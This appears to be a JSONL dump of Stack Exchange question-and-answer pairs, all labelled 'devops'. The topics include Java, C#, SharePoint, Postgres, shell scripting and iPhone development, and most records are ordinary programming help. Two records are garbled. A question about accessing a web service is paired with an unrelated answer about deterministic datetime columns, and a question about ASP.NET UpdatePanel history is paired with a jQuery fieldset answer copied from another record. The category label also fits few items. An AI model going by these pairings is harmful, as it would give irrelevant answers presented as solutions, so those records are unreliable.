{"id": "hf_7f73aaeb49f8", "question": "<p>Currently, we're storing the user's HTTP_REFERER so we can redirect the user back to the previous page they were browsing before they logged in.</p>\n\n<p>Http Referer comes from the client and can be spoofed or blank. Is there a more secure/reliable method to deliver this handy user redirect?</p>\n", "question_body": "", "answer": "somehow running\n```\n```\nhistory.go(-1);\n```\n```\nis the only alternative i can think of (javascript)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.032655"}
{"id": "hf_b0b75e3e6ecb", "question": "<p>Is there any way to install Setuptools for Python 2.6 in Windows without having an exe installer? </p>\n\n<p>There isn't one built at the moment, and the maintainer of Setuptools has stated that it will probably be a while before he'll get to it. </p>\n\n<p>Does anyone know of a way to install it anyway?</p>\n", "question_body": "", "answer": "First Option - Online Installation (i.e. remaining connected to the Internet during the entire installation process):\nDownload\nsetuptools-0.6c9.tar.gz\nUse\n7-zip\nto extract it to a folder(directory) outside your Windows Python installation folder\nGo the folder (refer step 2) and run ez_setup.py from the corresponding dos (command) prompt\nEnsure that your PATH includes the appropriate C:\\Python2X\\Scripts directory\nSecond Option:\nDownload\nsetuptools-0.6c9.tar.gz\nDownload\nsetuptools-0.6c9-py2.6.egg\nto a folder(directory) outside your Windows Python installation folder\nUse\n7-zip\nto extract ez_setup.py in the same folder as\nsetuptools-0.6c9-py2.6.egg\nGo to the corresponding dos prompt and run python ez_setup.py setuptools-0.6c9-py2.6.egg from the command prompt\nEnsure that your PATH includes the appropriate C:\\Python2X\\Scripts directory\nThird Option (assuming that you have Visual Studio 2005 or MinGW on your machine)\nDownload\nsetuptools-0.6c9.tar.gz\nUse\n7-zip\nto extract it to a folder(directory) outside your Windows Python installation folder\nGo the folder (refer step 2) and run python setup.py install from the corresponding dos (command) prompt\nPlease provide feedback.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.059877"}
{"id": "hf_0342132611e2", "question": "<p>I'm using PayPal Website Payments Standard.  Whenever the user lands on PayPal with the variables I sent, it shows a PayPal Login form and at the bottom it shows \"Don't have a PayPal account? Use your credit card or bank account (where available).\"</p>\n\n<p>I want it to default to always ask for credit card and maybe say \"Have PayPal?  Use that!\".  Any ideas?</p>\n", "question_body": "", "answer": "On\na thread in the PayPal Developer Community\nthey explain it with cookies based visits to the checkout page.\nBasically if PayPal detects you being a user and spots their cookie, they will show the login form by default.\nIf they can't see that cookie, then they will show the credit card option first with a note that if you already have a PayPal account, to log in.\nSo the answer is no.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.084431"}
{"id": "hf_5079cb131cf6", "question": "<p>If you have a <code>java.io.InputStream</code> object, how should you process that object and produce a <code>String</code>?</p>\n<hr />\n<p>Suppose I have an <code>InputStream</code> that contains text data, and I want to convert it to a <code>String</code>, so for example I can write that to a log file.</p>\n<p>What is the easiest way to take the <code>InputStream</code> and convert it to a <code>String</code>?</p>\n<pre><code>public String convertStreamToString(InputStream is) {\n// ???\n}\n</code></pre>\n", "question_body": "", "answer": "A nice way to do this is using\nApache commons\n```\nIOUtils\n```\nto copy the\n```\nInputStream\n```\ninto a\n```\nStringWriter\n```\n... something like\n```\n```\nStringWriter writer = new StringWriter();\nIOUtils.copy(inputStream, writer, encoding);\nString theString = writer.toString();\n```\n```\nor even\n```\n```\n// NB: does not close inputStream, you'll have to use try-with-resources for that\nString theString = IOUtils.toString(inputStream, encoding);\n```\n```\nAlternatively, you could use\n```\nByteArrayOutputStream\n```\nif you don't want to mix your Streams and Writers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.109548"}
{"id": "hf_729173d37f11", "question": "<p>I'm developing an iPhone app. A simple image is the background of the main view.\nI've set an UIImageView in the background and set an image in, using IB.</p>\n\n<p>the image is a 160dpi PNG image. It appears like CRAP in IB. When running in the simulator it is ok, crisp.</p>\n\n<p>How am I supposed to work and place my controls precisely on a such poor resolution image ?\nIs this a bug ?</p>\n\n<p>Thanks for you help!</p>\n", "question_body": "", "answer": "IB is not a tool for designing a UI, it is a tool for implementing one. It is designed to perform well rather than display well (this is more important in complex desktop UI design than mobile but the tool is the same for both). The best advice is perhaps to take a cue from the publishing world (where this is a common practice for applications that display large amounts of high resolution graphics such as Adobe InDesign) and keep track of exact measurements for controls - the x,y coordinate positions and height/width. Then you can use the inspector to precisely position controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.159004"}
{"id": "hf_58d101c23333", "question": "<p>I'm currently using <code>Win32ShellFolderManager2</code> and <code>ShellFolder.getLinkLocation</code> to resolve windows shortcuts in Java. Unfortunately, if the Java program is running as a service under Vista, <code>getLinkLocation</code>, this does not work. Specifically, I get an exception stating \"Could not get shell folder ID list\".</p>\n\n<p>Searching the web does turn up mentions of this error message, but always in connection with <code>JFileChooser</code>. I'm not using <code>JFileChooser</code>, I just need to resolve a <code>.lnk</code> file to its destination.</p>\n\n<p>Does anyone know of a 3rd-party parser for <code>.lnk</code> files written in Java I could use?</p>\n\n<p>I've since found unofficial documentation for the .lnk format <a href=\"http://mediasrv.ns.ac.yu/extra/fileformat/windows/lnk/shortcut.pdf\" rel=\"noreferrer\">here</a>, but I'd rather not have to do the work if anyone has done it before, since the format is rather scary.</p>\n", "question_body": "", "answer": "The code plan9assembler linked to appears to work with minor modification. I think it's just the \"\n```\n& 0xff\n```\n\" to prevent sign extension when\n```\nbyte\n```\ns are upcast to\n```\nint\n```\ns in the\n```\nbytes2short\n```\nfunction that need changing. I've added the functionality described in\nhttp://www.i2s-lab.com/Papers/The_Windows_Shortcut_File_Format.pdf\nto concatenate the \"final part of the pathname\" even though in practice this doesn't seem to be used in my examples. I've not added any error checking to the header or dealt with network shares. Here's what I'm using now:\n```\n```\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.text.DecimalFormat;\nimport java.text.NumberFormat;\n\npublic class LnkParser {\n\n    public LnkParser(File f) throws Exception {\n        parse(f);\n    }\n\n    private boolean is_dir;\n\n    public boolean isDirectory() {\n        return is_dir;\n    }\n\n    private String real_file;\n\n    public String getRealFilename() {\n        return real_file;\n    }\n\n    private void parse(File f) throws Exception {\n        // read the entire file into a byte buffer\n        FileInputStream fin = new FileInputStream(f);\n        ByteArrayOutputStream bout = new ByteArrayOutputStream();\n        byte[] buff = new byte[256];\n        while (true) {\n            int n = fin.read(buff);\n            if (n == -1) {\n                break;\n            }\n            bout.write(buff, 0, n);\n        }\n        fin.close();\n        byte[] link = bout.toByteArray();\n\n        // get the flags byte\n        byte flags = link[0x14];\n\n        // get the file attributes byte\n        final int file_atts_offset = 0x18;\n        byte file_atts = link[file_atts_offset];\n        byte is_dir_mask = (byte) 0x10;\n        if ((file_atts & is_dir_mask) > 0) {\n            is_dir = true;\n        } else {\n            is_dir = false;\n        }\n\n        // if the shell settings are present, skip them\n        final int shell_offset = 0x4c;\n        final byte has_shell_mask = (byte) 0x01;\n        int shell_len = 0;\n        if ((flags & has_shell_mask) > 0) {\n            // the plus 2 accounts for the length marker itself\n            shell_len = bytes2short(link, shell_offset) + 2;\n        }\n\n        // get to the file settings\n        int file_start = 0x4c + shell_len;\n\n        // get the local volume and local system values\n        final int basename_offset_offset = 0x10;\n        final int finalname_offset_offset = 0x18;\n        int basename_offset = link[file_start + basename_offset_offset]\n                                + file_start;\n        int finalname_offset = link[file_start + finalname_offset_offset]\n                                + file_start;\n        String basename = getNullDelimitedString(link, basename_offset);\n        String finalname = getNullDelimitedString(link, finalname_offset);\n        real_file = basename + finalname;\n    }\n\n    private static String getNullDelimitedString(byte[] bytes, int off) {\n        int len = 0;\n        // count bytes until the null character (0)\n        while (true) {\n            if (bytes[off + len] == 0) {\n                break;\n            }\n            len++;\n        }\n        return new String(bytes, off, len);\n    }\n\n    /*\n     * convert two bytes into a short note, this is little endian because it's\n     * for an Intel only OS.\n     */\n    private static int bytes2short(byte[] bytes, int off) {\n        return ((bytes[off + 1] & 0xff) << 8) | (bytes[off] & 0xff);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.246215"}
{"id": "hf_8846bef60acc", "question": "<p>How can I initialize a const / static array of structs as clearly as possible?</p>\n\n<pre><code>class SomeClass\n{\n\n    struct MyStruct\n    {\n        public string label;\n        public int id;\n    };\n\n    const MyStruct[] MyArray = {\n          {\"a\", 1}\n          {\"b\", 5}\n          {\"q\", 29}\n    };\n};\n</code></pre>\n", "question_body": "", "answer": "Firstly, do you\nreally\nhave to have a mutable struct? They're almost always a bad idea. Likewise public fields. There are some very occasional contexts in which they're reasonable (usually both parts together, as with\n```\nValueTuple\n```\n) but they're pretty rare in my experience.\nOther than that, I'd just create a constructor taking the two bits of data:\n```\n```\nclass SomeClass\n{\n\n    struct MyStruct\n    {\n        private readonly string label;\n        private readonly int id;\n\n        public MyStruct (string label, int id)\n        {\n            this.label = label;\n            this.id = id;\n        }\n\n        public string Label { get { return label; } }\n        public string Id { get { return id; } }\n\n    }\n\n    static readonly IList<MyStruct> MyArray = new ReadOnlyCollection<MyStruct>\n        (new[] {\n             new MyStruct (\"a\", 1),\n             new MyStruct (\"b\", 5),\n             new MyStruct (\"q\", 29)\n        });\n}\n```\n```\nNote the use of\nReadOnlyCollection\ninstead of exposing the array itself - this will make it immutable, avoiding\nthe problem exposing arrays directly\n. (The code show does initialize an array of structs - it then just passes the reference to the constructor of\n```\nReadOnlyCollection<>\n```\n.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.270432"}
{"id": "hf_25cf577585ee", "question": "<p>My company has a requirement that all production sites pass an AppScan security scan. Sometimes, when we scan a SharePoint installation, the software detects a blind SQL injection vulnerability. I'm pretty sure this is a false positive--AppScan is probably interpreting some other activity in the HTTP response as success of the blind injection. But it's difficult to prove that this is the case.</p>\n\n<p>I suspect that SharePoint, both MOSS 07 and WSS 3.0, uses stored procedures exclusively behind the scenes. Does anyone know if there is any documentation from Microsoft to this effect, and furthermore, whether any of the stored procedures use dynamically-generated SQL? If everything were sprocs, and none of them dynamic, we would have pretty good evidence that SharePoint has no SQL injection vulnerability.</p>\n", "question_body": "", "answer": "They aren't all stored procs. In particular, things like cross-lists joins produce some horrendous syntax. For an example, look at the SQL Trace window from\nthis article\n. Also, since both user controls and API calls can be written by developers, there is no guarantee that you aren't subject to SQL Injection if you are using custom modules.\nMy guess would be that SharePoint always uses, at the very least, named parameters. However, your best option might to be running a SQL trace and comparing the results. Also, if you are a large enough customer, you might just try calling your local MSFT evangelist (or posting a question on\nconnect.microsoft.com\n) and seeing if you can get a response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.294271"}
{"id": "hf_89bc2ebe6fcc", "question": "<p>(This is related to <a href=\"https://stackoverflow.com/questions/85373/floor-a-date-in-sql-server\">Floor a date in SQL server</a>.)</p>\n\n<p>Does a deterministic expression exist to floor a DATETIME? When I use this as a computed column formula:</p>\n\n<pre><code>DATEADD(dd, DATEDIFF(dd, 0, [datetime_column]), 0)\n</code></pre>\n\n<p>the I get an error when I place an index on that column:</p>\n\n<blockquote>\n  <p>Cannot create index because the key column 'EffectiveDate' is non-deterministic or imprecise.</p>\n</blockquote>\n\n<p>But both DATEDIFF and DATEADD are deterministic functions by definition. Where is the catch? Is it possible?</p>\n", "question_body": "", "answer": "Does your column [datetime_column] have a default value set to \"getDate()\" ??\nIf so, since getdate() function is non-deterministic, this will cause this error...\nWhether a user-defined function is deterministic or nondeterministic depends on how the function is coded. User-defined functions are deterministic if:\nThe function is schema-bound.\nAll built-in or user-defined\nfunctions called by the user-defined\nfunction are deterministic.\nThe body of the function references\nno database objects outside the\nscope of the function. For example,\na deterministic function cannot\nreference tables other than table\nvariables that are local to the\nfunction.\nThe function does not call any\nextended stored procedures.\nUser-defined functions that do not meet these criteria are marked as nondeterministic. Built-in nondeterministic functions are not allowed in the body of user-defined functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.330364"}
{"id": "hf_f5f306baf37d", "question": "<p>I have a webservice @ <a href=\"http://recpushdata.cyndigo.com/Jobs.asmx\" rel=\"nofollow noreferrer\">http://recpushdata.cyndigo.com/Jobs.asmx</a> but I'm not able to access it though I am adding it as a WebReference properly.</p>\n\n<p>Any Help would be great.</p>\n", "question_body": "", "answer": "Does your column [datetime_column] have a default value set to \"getDate()\" ??\nIf so, since getdate() function is non-deterministic, this will cause this error...\nWhether a user-defined function is deterministic or nondeterministic depends on how the function is coded. User-defined functions are deterministic if:\nThe function is schema-bound.\nAll built-in or user-defined\nfunctions called by the user-defined\nfunction are deterministic.\nThe body of the function references\nno database objects outside the\nscope of the function. For example,\na deterministic function cannot\nreference tables other than table\nvariables that are local to the\nfunction.\nThe function does not call any\nextended stored procedures.\nUser-defined functions that do not meet these criteria are marked as nondeterministic. Built-in nondeterministic functions are not allowed in the body of user-defined functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.354408"}
{"id": "hf_33c64b0fb626", "question": "<p>I would like to generate a list of files within a directory. Some of the filenames contain Chinese characters.</p>\n\n<p>eg: [试验].Test.txt</p>\n\n<p>I am using the following code:</p>\n\n<pre><code>require 'find'\ndirs = [\"TestDir\"]\nfor dir in dirs\n    Find.find(dir) do |path|\n    if FileTest.directory?(path)\n    else\n        p path\n    end\n    end\nend\n</code></pre>\n\n<p>Running the script produces a list of files but the Chinese characters are escaped (replaced with backslashes followed by numbers). Using the example filename above would produce:</p>\n\n<p>\"TestDir/[\\312\\324\\321\\351]Test.txt\" instead of \"TestDir/[试验].Test.txt\".</p>\n\n<p>How can the script be altered to output the Chinese characters?</p>\n", "question_body": "", "answer": "Ruby needs to know that you are dealing with unicode in your code. Set appropriate character encoding using KCODE, as below:\n```\n```\n$KCODE = 'utf-8'\n```\n```\nI think utf-8 is good enough for chinese characters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.378758"}
{"id": "hf_cd384eb86758", "question": "<p>GWT seems like a really nice technology for Java developers who don't like (or don't know) HTML/JS/CSS to build rich web interfaces. On the server-side Grails also looks really nice, it's often described as \"Rails for Java developers\". I've read that Grails' \"convention over configuration\" approach, together with the benefits of dynamic languages (Groovy) can really reduce the amount of (boilerplate) code that needs to be written, while still leveraging best-of-breed Java technologies such as Spring and Hibernate.</p>\n\n<p>Anyway, I haven't read much about how well these technologies play together. How easy is it to integrate GWT with Grails on the server-side? I'd be interested to learn about experiences of anyone that has build an application with these technologies? Recommendations on resources (books/websites) for building a GWT-Grails website would also be very welcome.</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "with the benefits of dynamic languages\n  (Groovy) can really reduce the amount\n  of (boilerplate) code that needs to be\n  written\nThat's what folks from RoR camp was preaching all the time. After some initial boom RoR projects got into inevitable trouble with bigger projects. The bigger projects the more work one should delegate to compiler, i.e. the more valuable are static languages. Currently, RoR boom is all but gone.\nThe amount of (extra) code you need to write now with JPA/Hibernate, for instance, is almost zero. Annotations only. It even finds the mapped beans itself, in runtime, via classpath! SpringFramework makes many other \"boilerplate\" codepieces obsolete too.\nIn my GWT project (one so far, have to admit) I use JPA (Hibernate), DAO layer, business delegate pattern and it's easy and robust.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.402815"}
{"id": "hf_827f65087d78", "question": "<p>I'm using the StAX event based API's to modify an XML stream. The stream represents an HTML document, complete with DTD declaration. I would like to copy this DTD declaration into the output document (written using an <code>XMLEventWriter</code>). When I ask the factory to disregard DTD's it will not download the DTD, but remove the whole statement and only leave a \"<code>&lt;!DOCUMENTTYPE</code>\" string. When not disregarding, the whole DTD gets downloaded, and included when verbatim outputting the DTD event. I don't want to use the time to download this DTD, but include the complete DTD specification (resolving entities is already disabled and I don't need that). Does anyone know how to disable the fetching of external DTD's.</p>\n", "question_body": "", "answer": "You should be able to implement a custom XMLResolver that redirects attempts to fetch external DTDs to a local resource (if your code parses only a specific doc type, this is often a class resource right in a JAR).\n```\n```\nclass CustomResolver implements javax.xml.stream.XMLResolver {\n\n  public Object resolveEntity(String publicID,\n                              String systemID,\n                              String baseURI,\n                              String namespace)\n                  throws XMLStreamException \n  {\n    if (\"The public ID you expect\".equals(publicID)) {\n      return getClass().getResourceAsStream(\"doc.dtd\");\n    } else {\n      return null;\n    }\n  }\n```\n```\nNote that some documents only include the \"systemID\", so you should fall back to checking that. The problem with system identifier is that it's supposed to be \"system\" specific URL, rather than a well-known, stable URI. In practice, it's often used as if it were a URI though.\nSee the\nsetXMLResolver\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.447460"}
{"id": "hf_e97c943f2cd1", "question": "<p>What is the difference between a <code>const_iterator</code> and an <code>iterator</code> and where would you use one over the other?</p>\n", "question_body": "", "answer": "```\nconst_iterator\n```\ns don't allow you to change the values that they point to, regular\n```\niterator\n```\ns do.\nAs with all things in C++, always prefer\n```\nconst\n```\n, unless there's a good reason to use regular iterators (i.e. you want to use the fact that they're not\n```\nconst\n```\nto change the pointed-to value).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.484610"}
{"id": "hf_3db8f901bc7b", "question": "<p>I want to diaplay message boxes that looks good, with the possibillity to use bold/italic text and text with different colors. The standard MessageBox.Show doesn't provide this functionality.</p>\n\n<p>I have been trying to create a message box using the WebBrowser control to display nicely formatted text using HTML-syntax. But I haven't succeeded.</p>\n\n<p>Do you know if this is possible, or do you know any other way to show a message box with formatted text? I want the message box to size itself dynamically to it's content.</p>\n\n<p>(For Windows Forms)</p>\n", "question_body": "", "answer": "You could create your own Form class that hosts the WebBrowser control (or an RTF control) to display the formatted content. Just give it an interface (API) similar to MessageBox so you can use it much the same way (e.g., checking the user's Yes/No or Ok/Cancel/etc responses).\nFor the sizing, you would likely need to check the content being displayed and use some System.Drawing capabilities to get the size of the fonts/content for it. Then size your window accordingly and/or show and hide scrollbars so they're only shown when absolutely necessary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.559247"}
{"id": "hf_b302aec4c67b", "question": "<p>How can I prevent the pocket PC device from shutting down from my application when the power button pressed? I am using C#.</p>\n", "question_body": "", "answer": "You can try changing the power requirements for the device \"BLK1:\", which is the blacklight device. Be aware that the behavior may not be the same on all devices and version of the OS or Vendor specific Extensions.\nTo do this, you can write something like :\n```\n```\n[DllImport(\"coredll\")]\n    private extern static IntPtr SetPowerRequirement(string pvDevice, int deviceState, \n                int deviceFlags, IntPtr pvSystemState, int stateFlags);\n\n    [DllImport(\"coredll\")]\n    private extern static int ReleasePowerRequirement(IntPtr handle);\n```\n```\nand call it this way :\n```\n```\nIntPtr handle = SetPowerRequirement(\"BLK1:\", 0 /* D0, Full On */, 1, IntPtr.Zero, 0);\n    // Do something that requires the device to stay on ...\n    ReleasePowerRequirement(handle);\n```\n```\nBut this is generally not a good practice, leaving a device with the backlight on for extended periods might reduce dramatically its autonomy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.586260"}
{"id": "hf_043e8216bd30", "question": "<p>I'm new to development on the iPhone.  Just about every sample project (as well as the default project templates) have one or more delegates and controllers.  Can someone give me a breakdown of what the delegates are responsible for vs. what the controllers are supposed to do?</p>\n", "question_body": "", "answer": "The simplest way I can think to differentiate the two are:\nA delegate is a protocol (interface) that defines methods that an object implements in order to receive specific messages from other objects.  Delegates objects are most often used to receive asynchronous callbacks such as user input, I/O.\nA controller is an object that usually contains UI elements (views, controls, etc.) and data, and both receives and send messages to the various objects within it.  In many cases, a controller\nis\na delegate and can implement several delegate protocols to receive events from multiple objects.\nKeep in mind that many UI elements and controls let you pass events back to the controller by linking them to an IBAction method in Interface Builder.  This is very handy as it doesn't require extra code to implement delegates.  However, some other APIs such as the ABPeoplePickerNavigationController or NSURLConnection have no visualization in Interface Builder and so must use delegates to handle their events.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.622316"}
{"id": "hf_6377d88b06b2", "question": "<p>Our web team has been asked to build some user interfaces in Sharepoint.  The UI's would primarily be forms that would need to write to a  SQL Server database.</p>\n\n<p>Is ASP.NET the best way to do this?  If so what's the best way to integrate the ASP.NET application into Sharepoint?</p>\n", "question_body": "", "answer": "You have 4 options:\n```\n```\n1. Build web parts \n2. build user controls , and use smart part to display them.\n3. use infopath \n4. host the asp.net in an iframe (page viewer web part).\n```\n```\nI would go with building web parts, however user controls and smart part are probably quicker, and quickest still is infopath, but infopath wont use the page layouts or master pages that you specify.\nif the web app has already been developed then youre looking at option 4, if its not already developed then I would suggest 1 or 2 which gives you the flexibility of reusing the controls elsewhere in the site as well as utilising the sharepoint metadata.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.652484"}
{"id": "hf_f83df2b2fb14", "question": "<p>I'm writing a HTML form that's divided in fieldsets, and I need to get the form fields from a specific fiedset in a function.<br>\nCurrently it's like this:  </p>\n\n<pre><code>function conta(Fieldset){  \n    var Inputs = Fieldset.getElementsByTagName(\"input\");  \n    var Selects = Fieldset.getElementsByTagName(\"select\");  \n    /* Doing the stuff I need to do in two iterations, one for each field type */  \n}\n</code></pre>\n\n<p>But who knows what the future may hold, and if the form gets some new field types (radios, checkboxes) this could become awful to mantain.<br>\nI know that <code>form</code> elements have the  <code>elements</code> attribute that returns all the form fields and I was hoping I could use something like that.<br>\n(I know I still gotta discriminate the field type in a bunch of conditionals inside the iteration, but I think it would be faster and easier to keep. Unless it isn't and I should not be doing it)</p>\n", "question_body": "", "answer": "Haven't tested this and don't know how it would work, but you could use JQuery here to select all the elements into a JQuery object\n```\n```\n//$(\"input select textarea\").each(function() {\n$(\":input\").each(function() { //even better\n    // do stuff here\n});\n```\n```\nthis would at least cleanup the code, although you would still have to add conditional statements based on field type like you mentioned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.736651"}
{"id": "hf_b44f1254c4bd", "question": "<p>I have a page with a few fields and a runtime-generated image on it. The contents of this page are inside an UpdatePanel. There is a button to take the user to a secondary page, which has a button that calls javascript:history.go(-1) when clicked.</p>\n\n<p>The problem is, the first page does a full request instead of a postback or just using the state it was in before navigating away from it. That is, the fields are all reset to their default values, thereby confusing the user. I'd like their values to be retained regardless of navigation. I do not want to create a new history state for every field change.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Haven't tested this and don't know how it would work, but you could use JQuery here to select all the elements into a JQuery object\n```\n```\n//$(\"input select textarea\").each(function() {\n$(\":input\").each(function() { //even better\n    // do stuff here\n});\n```\n```\nthis would at least cleanup the code, although you would still have to add conditional statements based on field type like you mentioned.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.761878"}
{"id": "hf_e2858d22e40a", "question": "<p>How do I check to see if a variable is a number, or contains a number, in UNIX shell?</p>\n", "question_body": "", "answer": "Shell variables have no type, so the simplest way is to use the return type\n```\ntest\n```\ncommand:\n```\n```\nif [ $var -eq $var 2> /dev/null ]; then ...\n```\n```\n(Or else parse it with a regexp)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.913001"}
{"id": "hf_df0fe87bfbc8", "question": "<p>How do I force Postgres to use an index when it would otherwise insist on doing a sequential scan?</p>\n", "question_body": "", "answer": "Assuming you're asking about the common \"index hinting\" feature found in many databases, PostgreSQL doesn't provide such a feature. This was a conscious decision made by the PostgreSQL team. A good overview of why and what you can do instead can be found\nhere\n. The reasons are basically that it's a performance hack that tends to cause more problems later down the line as your data changes, whereas PostgreSQL's optimizer can re-evaluate the plan based on the statistics. In other words, what might be a good query plan today probably won't be a good query plan for all time, and index hints force a particular query plan for all time.\nAs a very blunt hammer, useful for testing, you can use the\n```\nenable_seqscan\n```\nand\n```\nenable_indexscan\n```\nparameters. See:\nExamining index usage\n```\nenable_\n```\nparameters\nThese are\nnot suitable for ongoing production use\n. If you have issues with query plan choice, you should see\nthe documentation for tracking down query performance issues\n. Don't just set\n```\nenable_\n```\nparams and walk away.\nUnless you have a very good reason for using the index, Postgres may be making the correct choice. Why?\nFor small tables, it's faster to do sequential scans.\nPostgres doesn't use indexes when datatypes don't match properly, you may need to include appropriate casts.\nYour planner settings might be causing problems.\nSee also\nthis old newsgroup post\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:14.974730"}
{"id": "hf_ce8fac159260", "question": "<p>In Java, what is the difference between the twin methods?</p>\n\n<pre><code>public void methodA() throws AnException {\n    //do something\n    throw new AnException();\n}\n\npublic void methodA() {\n    //do the same thing\n    throw new AnException();\n}\n</code></pre>\n\n<p>I have a intuition that it has something to do with being a well-designed method (because I put methodA in an interface, declared it the way methodA* does in its implementation and received a warning from Java that \"A* cannot override A because A* doesn't throw AnException\"). </p>\n\n<p>Is this speculation correct? </p>\n\n<p>Is there any other subtle connotations in the two ways of doing things?</p>\n", "question_body": "", "answer": "If AnException is a checked exception (in other words, if it doesn't extend RuntimeException) then methodA won't compile.  Checked exceptions must always be declated.\nIf AnException is an unchecked exception (if it does extend RuntimeException), then either is allowed by the java compiler, and either is interpreted equivalently by the java runtime.\nmethodA is still probably still preferred in this case, for the reasons of documentation.  The javadoc for your method will show that it might throw AnException.  It's good to let users of your method know what Exceptions they should expect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:15.000597"}
